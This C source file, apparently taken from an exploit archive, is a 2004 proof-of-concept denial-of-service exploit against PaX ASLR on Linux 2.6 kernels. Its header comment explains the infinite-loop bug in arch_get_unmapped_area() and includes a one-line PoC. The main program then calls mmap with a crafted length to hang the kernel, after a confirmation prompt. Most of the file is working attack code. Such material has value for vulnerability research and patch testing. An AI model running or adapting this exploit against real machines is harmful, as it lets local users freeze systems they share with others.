/*
source: https://www.securityfocus.com/bid/10264/info
PaX for 2.6 series Linux kernels has been reported prone to a local denial of service vulnerability. The issue is reported to present itself when PaX Address Space Layout Randomization Layout (ASLR) is enabled.
The vulnerability may be exploited by a local attacker to influence the kernel into an infinite loop.
*/
/*
PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-concept
by Shadowinteger <[email protected]>
2004-05-04
Written after reading the security advisory posted by borg (ChrisR-) on
Bugtraq 2004-05-03 (my time). ChrisR -> www.cr-secure.net
Acknowledgments: sabu (www.sabu.net)
Vulnerability:
PaX code for 2.6.x prior to 2004-05-01 in arch_get_unmapped_area()
(function in mm/mmap.c) is vulnerable to a local Denial of Service attack
because of a bug that puts the kernel into an infinite loop.
Read the security advisory for more info:
http://www.securityfocus.com/archive/1/361968/2004-04-30/2004-05-06/0
Exploitation:
We need to get passed the following line of code in
arch_get_unmapped_area() to succeed with a DoS:
if (TASK_SIZE - len < addr) { ...
We do it like this:
TASK_SIZE - TYPICAL_ADDR + SINK = DOSVAL
DOSVAL is the value we'll use.
arch_get_unmapped_area() does the following:
if TASK_SIZE-DOSVAL < TYPICAL_ADDR then... run right into the vuln code.
(TASK_SIZE-DOSVAL) *must* be less than TYPICAL_ADDR to succeed.
A DOSVAL of e.g. 0x80000000 or above will work most times, no real need
for the funky calculation above.
There are quite a few functions available that are "front-ends" to
arch_get_unmapped_area(). This exploit uses good-old mmap().
Tiny DoS PoC:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
int main(void){int fd=open("/dev/zero",O_RDONLY);mmap(0,0xa0000000,PROT_READ,MAP_PRIVATE,fd,0);}
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>
#define TASK_SIZE 0xc0000000
#define TYPICAL_ADDR 0x43882000
#define SINK 0x04000000
#define DOSVAL (TASK_SIZE - TYPICAL_ADDR + SINK)
int main() {
int fd = open("/dev/zero", O_RDONLY);
printf("PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-concept\n"
"by Shadowinteger <[email protected]> 20040504\n"
"created after a sec advisory on bugtraq posted by borg (ChrisR-) 20040503\n"
"ChrisR -> www.cr-secure.net\n"
"\n"
"the exploit binary must be marked PF_PAX_RANDMMAP to work!\n"
"\n"
"greetz goes to: sabu (www.sabu.net)\n"
"\n"
"------------------------------------------------------------------------------\n"
"will exec \"mmap(0, 0x%x, PROT_READ, MAP_PRIVATE, fd, 0);\"\n"
"\n"
"if you run Linux 2.6.x-PaX or -grsec, this may \"hurt\" your CPU(s) a little,\n"
"are you sure you want to continue? [type Y to continue] ", DOSVAL);
fflush(stdout);
if (getchar() != 'Y') {
printf("aborted.\n");
return 0;
}
printf("\n"
"attempting to DoS...\n");
if (mmap(0, DOSVAL, PROT_READ, MAP_PRIVATE, fd, 0) == MAP_FAILED) {
perror("mmap");
}
printf("your kernel does not seem to be vulnerable! :)\n");
return 0;
}Data
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